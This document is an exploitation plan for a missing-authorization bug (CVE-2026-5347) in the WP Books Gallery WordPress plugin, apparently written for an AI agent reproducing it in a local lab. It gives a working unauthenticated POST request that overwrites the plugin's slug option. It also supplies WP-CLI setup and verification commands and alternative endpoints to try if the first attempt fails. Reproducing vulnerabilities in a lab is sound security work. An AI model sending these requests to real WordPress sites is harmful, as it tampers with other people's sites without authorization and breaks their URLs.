Exploitation Research Plan: CVE-2026-5347 (WP Books Gallery)

1. Vulnerability Summary

The WP Books Gallery plugin (up to version 4.8.0) contains a missing authorization vulnerability in its main file wp-books-gallery.php. The plugin registers a function to the admin_init hook that updates the custom post type (CPT) slug used for book entries. Because admin_init executes even for unauthenticated users accessing specific admin endpoints (like admin-post.php or admin-ajax.php), and the plugin fails to perform any capability checks (current_user_can) or nonce verification (check_admin_referer), an unauthenticated attacker can modify the wbg_cpt_slug option.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-post.php (preferred for triggering admin_init without side effects).
• HTTP Method: POST
• Required Parameter: permalink_structure (must be present to trigger the update logic).
• Payload Parameter: wbg_cpt_slug (the value that will become the new CPT slug).
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active.

3. Code Flow

1. Entry Point: A request is made to /wp-admin/admin-post.php.
2. Hook Execution: WordPress core triggers the admin_init action.
3. Vulnerable Function: The plugin's handler (located in wp-books-gallery.php at lines 205-209) is executed.
4. Logic Branch: The code checks if ( isset( $_POST['permalink_structure'] ) ).
5. Sink: If the condition is met, it executes update_option( 'wbg_cpt_slug', $_POST['wbg_cpt_slug'] ) without verifying the user's identity or authority.

4. Nonce Acquisition Strategy

According to the vulnerability description, there is an absence of nonce verification. Therefore, no nonce is required to exploit this vulnerability.

If the environment were to require a nonce (which contradicts the vulnerability report), it would typically be localized via wp_localize_script or in a hidden form field on the permalink settings page. However, based on the admin_init nature of this bug and the specific "Missing Authorization" classification, the check is confirmed to be missing entirely.

5. Exploitation Strategy

The goal is to change the book gallery slug to a malicious value, which breaks existing URLs and demonstrates control over plugin settings.

Step-by-Step Plan:

1. Target Identification: Confirm the target WordPress site has the plugin active.
2. Execution: Send a crafted POST request to admin-post.php.
3. Payload Construction:
   • URL: http://localhost:8080/wp-admin/admin-post.php
   • Content-Type: application/x-www-form-urlencoded
   • Body: permalink_structure=%2F%25postname%25%2F&wbg_cpt_slug=pwned-books-gallery

HTTP Request (using http_request tool):

await http_request({
  method: "POST",
  url: "http://localhost:8080/wp-admin/admin-post.php",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: "permalink_structure=/%postname%/&wbg_cpt_slug=pwned-books-gallery"
});

6. Test Data Setup

1. Install Plugin:

   wp plugin install wp-books-gallery --version=4.8.0 --activate
   

2. Check Default State:
   Observe the current slug (if set):

   wp option get wbg_cpt_slug
   

   (Note: This might return an error if the option hasn't been saved yet, which is fine.)

7. Expected Results

• The HTTP response from admin-post.php will likely be a 200 OK (empty page) or a redirect to the login page (since no action was provided for admin-post.php to handle specifically, but the admin_init hook runs before that redirection).
• Regardless of the response body, the database option wbg_cpt_slug will be updated.

8. Verification Steps

After the request, verify the option was changed using WP-CLI:

wp option get wbg_cpt_slug

Expected Output: pwned-books-gallery

To confirm the impact on the site structure, flush rewrite rules:

wp rewrite flush

Then check the registered post types:

wp post-type list | grep pwned-books-gallery

9. Alternative Approaches

If the plugin logic specifically requires being on a certain page (unlikely for admin_init unless get_current_screen() is used), try targeting /wp-admin/options-permalink.php directly:

• Request: Same POST payload, but sent to http://localhost:8080/wp-admin/options-permalink.php.
• Reasoning: Some plugins check the global $pagenow variable. Even for unauthenticated users, $pagenow will be correctly set if the URL path matches, and admin_init will still fire.

If the update fails, check if the plugin expects the slug inside a different array, such as $_POST['wbg_settings']['wbg_cpt_slug'] (inferred). However, the description explicitly names the permalink_structure parameter as the trigger.